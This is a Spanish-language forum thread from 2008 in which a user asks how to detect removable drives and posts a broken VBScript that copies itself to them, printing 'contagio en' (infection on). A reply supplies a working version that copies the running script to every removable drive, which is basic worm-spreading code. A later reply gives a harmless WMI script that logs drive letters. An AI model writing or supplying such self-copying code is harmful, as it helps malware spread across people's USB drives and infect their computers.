Reconocer unidades extraibles

Iniciado por Enemy, 11 Octubre 2008, 16:08 PM

0 Miembros y 1 Visitante están viendo este tema.

Enemy

Buenas tardes, Me pregunto como es el script correcto para reconocer si hay una o unas unidades extraibles como pendrive, hd externos, tarjetas, etc...

he hecho este codigo pero no me funciona.. :


Dim FSOvar
Dim Uni

Set FSOvar = createobject("scripting.filesystemobject")
Set Uni = FSOvar.drives
For each x in Uni do
L = x.Drivesletter
if L = true then Objfso.copyfile ".\archivo.vbs",&L&":\"
msgBox "contagio en " &L&
exit do
End if
next


Esta bien asi.??  :-\

He intendao varios codigos pero creo que este es el mas estable.. Si funcionara...  :¬¬

Si alguien puede ayudarme se lo agradeceria..



SALUD.O.S

Novlucker

Buenas... he de decir, que tu code necesita muchas mejoras  :P, aquí va...

Código (vb) [Seleccionar]
Set FSOvar = createobject("scripting.filesystemobject")
Set uni = FSOvar.drives

For each x in uni
If x.driveletter <> "A" and x.drivetype = 1 then
FSOvar.copyfile wscript.scriptfullname, x.driveletter &":\"
msgbox "contagio en " & x.driveletter
End If
Next


En lugar de ultilizar el nombre del script, utilizo wscript.scriptfullname que tiene la ruta completa del script en ejecución.
Y además, en el IF, utilizo drivetype = 1, ya que el tipo de disco 1 es extraíble  :P

Saludos  ;)
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

washanwer

O tambien puedes usar este, este creara un tmp, donde dira todas la unidades que encuentra..

On Error Resume Next

Const ForAppending = 8
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile("Extraible.tmp")
Set objLogFile = objFSO.OpenTextFile("Extraible.tmp", ForAppending, True)

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
For Each objDisk in objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
    If objDisk.DriveType = "2" Or objDisk.DriveType = "3" Then
objLogFile.Write( objDisk.DeviceID)
objLogFile.writeline
End If
Next


salu2!

Novlucker

Cita de: washanwer en 30 Octubre 2008, 21:32 PM
O tambien puedes usar este, este creara un tmp, donde dira todas la unidades que encuentra..
Código (vb) [Seleccionar]

On Error Resume Next

Const ForAppending = 8
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile("Extraible.tmp")
Set objLogFile = objFSO.OpenTextFile("Extraible.tmp", ForAppending, True)

Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & "." & "\root\cimv2")
For Each objDisk in objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
    If objDisk.DriveType = "2" Or objDisk.DriveType = "3" Then
objLogFile.Write( objDisk.DeviceID)
objLogFile.writeline
End If
Next


salu2!

Principal desventaja... si estas en una pc sin privilegios, el utilizar el wmi puede dar problemas y puede que no funcione, fuera de eso es muy buena opción ;)

Saludos

Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein